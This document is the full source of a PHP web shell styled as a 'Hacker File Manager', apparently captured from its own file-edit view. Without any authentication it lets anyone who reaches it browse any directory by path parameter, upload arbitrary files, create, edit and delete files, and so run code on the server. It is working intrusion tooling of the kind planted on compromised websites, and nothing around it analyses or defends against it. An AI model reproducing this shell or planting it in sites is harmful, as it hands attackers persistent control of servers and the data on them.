🧠 Editing: script.php
<?php session_start(); /* ================= HISTORY MODE ================= */ if (!isset($_SESSION['history'])) { $_SESSION['history'] = []; $_SESSION['pointer'] = -1; } $path = $_GET['path'] ?? '.'; /* Simpan history */ if (!isset($_GET['back']) && !isset($_GET['next'])) { if ($_SESSION['pointer'] == -1 || ($_SESSION['history'][$_SESSION['pointer']] ?? '') !== $path) { $_SESSION['pointer']++; $_SESSION['history'][$_SESSION['pointer']] = $path; $_SESSION['history'] = array_slice($_SESSION['history'], 0, $_SESSION['pointer'] + 1); } } /* BACK */ if (isset($_GET['back']) && $_SESSION['pointer'] > 0) { $_SESSION['pointer']--; $path = $_SESSION['history'][$_SESSION['pointer']]; } /* NEXT */ if (isset($_GET['next']) && $_SESSION['pointer'] < count($_SESSION['history']) - 1) { $_SESSION['pointer']++; $path = $_SESSION['history'][$_SESSION['pointer']]; } /* ================= CREATE FOLDER ================= */ if (isset($_POST['new_folder'])) { mkdir($path . '/' . $_POST['folder']); header("Location:?path=$path"); exit; } /* ================= CREATE FILE ================= */ if (isset($_POST['new_file'])) { file_put_contents($path . '/' . $_POST['file'], ""); header("Location:?path=$path"); exit; } /* ================= UPLOAD ================= */ if (isset($_POST['upload'])) { foreach ($_FILES['files']['tmp_name'] as $k => $tmp) { $name = basename($_FILES['files']['name'][$k]); move_uploaded_file($tmp, $path . '/' . $name); } header("Location:?path=$path"); exit; } /* ================= DELETE ================= */ if (isset($_GET['hapus'])) { $f = $path.'/'.$_GET['hapus']; if (is_file($f)) unlink($f); header("Location:?path=$path"); exit; } /* ================= EDIT ================= */ if (isset($_GET['edit'])) { $file = $path.'/'.$_GET['edit']; if (isset($_POST['save'])) { file_put_contents($file, $_POST['content']); header("Location:?path=$path"); exit; } ?> <style> body{background:#000;color:#0f0;font-family:monospace} textarea{width:100%;height:500px;background:#000;color:#0f0;border:1px solid #0f0} button{background:#000;color:#0f0;border:1px solid #0f0;padding:8px} </style> <h3>🧠 Editing: <?=htmlspecialchars($_GET['edit'])?></h3> <form method="post"> <textarea name="content"><?=htmlspecialchars(file_get_contents($file))?></textarea><br><br> <button name="save">💾 SAVE</button> </form> <?php exit; } ?> <!DOCTYPE html> <html> <head> <title>Hacker File Manager</title> <style> body{ background:#000; color:#0f0; font-family:monospace; } a{color:#0f0;text-decoration:none} table{width:100%;border-collapse:collapse} th,td{border:1px solid #0f0;padding:6px} th{background:#020} input,button{ background:#000; color:#0f0; border:1px solid #0f0; padding:6px; } .box{margin-bottom:10px} .glow{ text-shadow:0 0 5px #0f0,0 0 10px #0f0; } </style> </head> <body> <h2 class="glow">🕶️ HACKER KELINCI GAMING</h2> <a href="?back=1">⬅ BACK</a> | <a href="?next=1">NEXT ➡</a> <p>📂 PATH: <?=htmlspecialchars($path)?></p> <div class="box"> <form method="post" style="display:inline"> <input name="folder" placeholder="folder_name"> <button name="new_folder">+FOLDER</button> </form> <form method="post" style="display:inline"> <input name="file" placeholder="file.php"> <button name="new_file">+FILE</button> </form> <form method="post" enctype="multipart/form-data" style="display:inline"> <input type="file" name="files[]" multiple> <button name="upload">UPLOAD</button> </form> </div> <table> <tr><th>NAME</th><th>ACTION</th></tr> <?php foreach (scandir($path) as $i) { if ($i=='.') continue; $full=$path.'/'.$i; echo "<tr><td>"; if (is_dir($full)) echo "📁 <a href='?path=$full'>$i</a>"; else echo "📄 $i"; echo "</td><td>"; if (is_file($full)) { echo "<a href='?edit=$i&path=$path'>EDIT</a> | "; echo "<a href='?hapus=$i&path=$path' onclick='return confirm(\"DELETE?\")'>DEL</a>"; } echo "</td></tr>"; } ?> </table> <p class="glow">ACCESS GRANTED ▓▓▓▓▓▓▓▓▓▓</p> </body> </html>
💾 SAVE